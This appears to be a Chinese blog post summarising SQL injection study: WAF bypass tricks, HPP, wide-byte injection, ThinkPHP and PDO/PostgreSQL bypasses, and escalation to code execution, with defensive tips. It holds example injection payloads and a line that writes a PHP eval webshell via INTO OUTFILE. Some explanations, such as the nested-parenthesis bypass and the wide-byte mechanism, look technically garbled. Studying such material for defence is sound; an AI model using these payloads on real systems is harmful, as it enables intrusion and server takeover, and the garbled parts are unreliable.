渗透学习总结

原创于 2026-01-28 09:17:17 发布 · 600 阅读

8 ·

本内容遵循CC 4.0 BY-SA版权协议

GEO检测

标签

#学习

渗透学习总结

一、基础回顾：SQL注入核心逻辑

先简单复盘基础：SQL注入本质是攻击者将SQL语句片段注入到应用程序的输入参数中，由于程序未对输入做严格过滤，导致注入的SQL被数据库执行，进而获取数据、篡改信息甚至控制服务器。核心前提是“输入可控”且“语句未过滤/过滤不严谨”，后续所有绕过与利用技巧，都是基于这个核心逻辑针对不同防御场景的延伸。

二、WAF绕过：正则回溯耗尽与其他实用技巧

在实际渗透中，WAF（Web应用防火墙）是第一道屏障，很多基础注入语句会被直接拦截。其中，正则回溯绕过是针对WAF正则匹配机制的高效方法，也是我近期重点钻研的方向。

1. 正则回溯绕过WAF原理与实操

多数WAF通过正则表达式匹配注入关键字（如UNION、SELECT、AND）来拦截恶意请求，但正则匹配存在“回溯”机制——当正则表达式遇到复杂匹配场景时，会反复尝试不同路径匹配，若注入语句构造得足够复杂，会导致WAF正则引擎回溯次数耗尽，触发超时跳过检测，从而绕过拦截。

核心思路：构造超长且符合正则语法的冗余语句，迫使WAF正则引擎超时。例如针对匹配SELECT的正则，通过嵌套括号、重复无意义字符增加回溯难度。

用法示例：


// 原始被拦截语句
?id=1 UNION SELECT 1,2,3 FROM users

// 构造回溯绕过语句（嵌套括号+冗余字符）
?id=1 UNION ((((((((((((((((SELECT 1)2)3)4)5)6)7)8)9)10)11)12)13)14)15),2,3 FROM users

注意事项：不同WAF的正则引擎阈值不同，需反复测试冗余长度；过度冗余可能导致数据库执行超时，需平衡绕过效果与语句可用性。

2. 其他常见WAF绕过技巧

关键字变形：通过大小写混合（如SeLeCt）、插入注释（如SEL/xxx/ECT）、URL编码（如%53%45%4C%45%43%54）绕过关键字匹配，适合防御较弱的WAF。
特殊符号替换：用等价符号替换关键字，如用“&&”替换AND、“||”替换OR，用“1=1”替换true，避开关键字拦截。
分段注入：将注入语句拆分为多个参数传递，拼接后执行，绕过WAF对单参数的检测。

三、进阶注入：HPP与宽字节注入

除了WAF绕过，应用程序自身的参数处理逻辑也可能存在漏洞，HPP全局参数污染和宽字节注入就是典型场景，常出现在老旧系统或配置不当的应用中。

1. HPP（全局参数污染）注入

HPP指攻击者通过传递重复参数，利用应用程序对参数的解析顺序差异，覆盖原有参数值，构造注入语句。例如PHP默认会取最后一个重复参数的值，而部分中间件或框架可能取第一个，导致过滤逻辑失效。

实操场景：假设应用对?id参数做了过滤，拦截UNION关键字，可构造重复参数绕过：

http://target.com/index.php?id=1&id=UNION SELECT 1,2,3 FROM users

若应用过滤了第一个?id参数，却执行了第二个未过滤的参数值，就会触发注入。这种技巧常配合其他注入方式使用，突破简单的参数过滤。

2. 宽字节注入

宽字节注入主要出现在使用GBK、GB2312等宽字节编码的应用中，核心原因是数据库对特殊字符（如单引号’）的转义处理不当。当应用用addslashes()等函数将’转义为’时，攻击者可注入宽字节字符（如%df），使转义符\被“吃掉”，还原单引号，触发注入。

原理拆解：GBK编码中，%df%5c会被解析为一个宽字节“運”，而\的URL编码是%5c。若注入语句为?id=1%df’，转义后变为?id=1%df%27，数据库按GBK解析时，%df%27变成“運’”，单引号成功逃逸。

用法示例：

http://target.com/index.php?id=1%df’ AND 1=2 UNION SELECT 1,2,3 FROM users–+

防御要点：统一使用UTF-8编码，避免宽字节场景；用mysqli_real_escape_string()结合数据库编码做转义，而非单纯依赖addslashes()。

四、框架注入：ThinkPHP SQL注入漏洞

在现代开发中，多数应用基于框架开发，框架自身的漏洞可能导致SQL注入，ThinkPHP作为国内常用PHP框架，历史上出现过多个高危注入漏洞，核心原因多为参数绑定不当、查询构造逻辑缺陷。

1. 常见漏洞场景（以ThinkPHP 3.x/5.x为例）

3.x版本where条件注入：当where条件直接拼接参数，未使用参数绑定，如$User->where("id=$_GET[id]")->find()，攻击者可构造?id=1 OR 1=1触发注入。
5.x版本order by注入：order by后的参数若直接接收用户输入，未过滤，可构造?order=id desc,updatexml(1,concat(0x7e,database(),0x7e),1)，利用报错注入获取数据库信息。
批量查询注入：部分版本的select、update批量操作中，参数处理不当，允许注入SQL片段。

2. 漏洞利用与防御

利用技巧：优先查看框架版本，通过公开漏洞POC测试；结合报错注入、盲注等方式获取数据，避免直接构造复杂语句被拦截。

防御建议：及时更新ThinkPHP到最新稳定版；严格使用框架自带的参数绑定机制（如where(['id'=>$id])）；避免直接拼接SQL语句，禁用危险函数。

五、防御与绕过：PDO、PostgreSQL预编译绕过

很多开发者认为使用PDO或数据库预编译就能完全防御SQL注入，但实际中存在“伪预编译”和特定场景的绕过方法，PostgreSQL的预编译机制也有其特殊性。

1. PDO防御与绕过

PDO（PHP数据对象）通过参数绑定实现预编译，将SQL语句结构与参数分离，理论上能防御注入，但存在两个常见绕过场景：

伪预编译场景：当PHP版本较低（<5.3.6）或数据库不支持真预编译时，PDO会使用模拟预编译（通过字符串替换实现），此时若参数包含特殊字符，仍可能绕过。例如构造?id=1' OR 1=1--+，模拟预编译可能无法完全过滤。
SQL语句结构可控：若表名、列名、排序字段等由用户输入控制，PDO无法对这些部分做参数绑定（只能绑定值），攻击者可构造?table=users where 1=1--+，拼接成恶意SQL。

防御强化：开启PDO真预编译（设置PDO::ATTR_EMULATE_PREPARES = false）；表名、列名等用白名单限制，禁止用户输入直接代入。

2. PostgreSQL预编译绕过

PostgreSQL支持预编译，但在特定语法下仍可绕过，核心是利用其SQL语法特性：

注释符绕过：PostgreSQL支持/* */、–等注释，还支持/**/嵌套注释，可构造?id=1;/*abc*/SELECT/*def*/1,2,3--+绕过简单预编译检测。
特殊函数注入：利用PostgreSQL的内置函数（如format()、execute()）构造动态SQL，若预编译未覆盖这类场景，可注入?id=1;EXECUTE format('SELECT * FROM users WHERE id=%s',1)--+。

这类绕过场景较少见，多发生在预编译使用不规范的情况下，规范使用预编译仍是核心防御手段。

六、SQL注入衍生：RCE（远程代码执行）

SQL注入的终极危害之一是通过数据库特性实现RCE，控制目标服务器，常见于MySQL、PostgreSQL等数据库，需满足数据库权限足够（如root权限）、配置支持等条件。

1. MySQL数据库RCE

核心依赖into outfile/into dumpfile函数写入webshell，或利用UDF（用户自定义函数）执行系统命令。

写入webshell示例：


UNION SELECT 1,'<?php @eval($_POST[shell]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'--+

需满足：知道网站绝对路径、数据库用户有写入权限、目标路径可写。若无法直接写入，可通过UDF导入恶意函数，执行system()等命令。

2. PostgreSQL数据库RCE

可通过COPY命令写入文件，或利用pg_catalog.pg_largeobject存储二进制数据，还可通过扩展（如dblink）执行系统命令，条件比MySQL更苛刻，但危害同样严重。